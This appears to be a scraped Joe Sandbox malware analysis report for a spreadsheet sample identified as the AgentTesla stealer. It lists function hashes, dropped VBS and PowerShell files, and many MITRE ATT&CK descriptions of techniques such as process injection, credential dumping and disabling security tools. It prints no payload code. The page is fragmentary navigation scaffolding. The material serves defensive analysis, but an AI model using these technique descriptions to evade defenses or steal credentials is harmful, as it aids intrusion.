Instruction ID: 4fc7f7404d999db2ad31f774df3ec4b44d79c678928e61e7626421c82772ed4c
Opcode Fuzzy Hash: 29b8247ecccae9171bbfe88bb58f42c3bbf1abe3545863483ffd406e470cdfcb
Instruction Fuzzy Hash: C201D4307042505FC725DB399DA876E7BE6EBD7304F10846AE14ACB351EA29DE028781

Function 005E3D68 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.626840418.00000000005E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5e0000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfee4bd4ecfd73e1f9d66fa5521e25e02ed0d7c64e3fa9e14580c9698c88b815
Instruction ID: 01fcb9809ec0e37d6e2bdd86fc4dae899ecd6b1ca873840e5167093eef1abf4d
Opcode Fuzzy Hash: cfee4bd4ecfd73e1f9d66fa5521e25e02ed0d7c64e3fa9e14580c9698c88b815
Instruction Fuzzy Hash: 4501D1307005141FCB28EB39DD9976F77DAEBC6350F108839E24ACB344EA25ED024780

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report transferencia interbancaria_66579.xlam.xlsx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Exploits

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\NIGHTTTTMPDW-constraints[1].vbs

C:\Users\user\AppData\Local\Temp\1n4jhjmf.bff.ps1

C:\Users\user\AppData\Local\Temp\bac2la0v.axw.psm1

C:\Users\user\AppData\Local\Temp\pavil5nu.ag0.psm1

C:\Users\user\AppData\Local\Temp\u3hmr3af.da3.ps1

C:\Users\user\AppData\Roaming\nightdatingloverxxx.vbs

C:\Users\user\Desktop\~$transferencia interbancaria_66579.xlam.xls

C:\Users\user\Desktop\~$transferencia interbancaria_66579.xlam.xlsx

Static File Info

Windows Analysis Report
transferencia interbancaria_66579.xlam.xlsx

Function 0356047F Relevance: 4.5, APIs: 3, Instructions: 37
filenetworkCOMMON

Function 035604AD Relevance: 3.0, APIs: 2, Instructions: 50
COMMON

Function 03560498 Relevance: 3.0, APIs: 2, Instructions: 47
COMMON

Function 035603F0 Relevance: 1.6, APIs: 1, Instructions: 62
libraryCOMMON

Function 035604D2 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Function 035604D9 Relevance: .0, Instructions: 14
COMMON

Function 03560329 Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre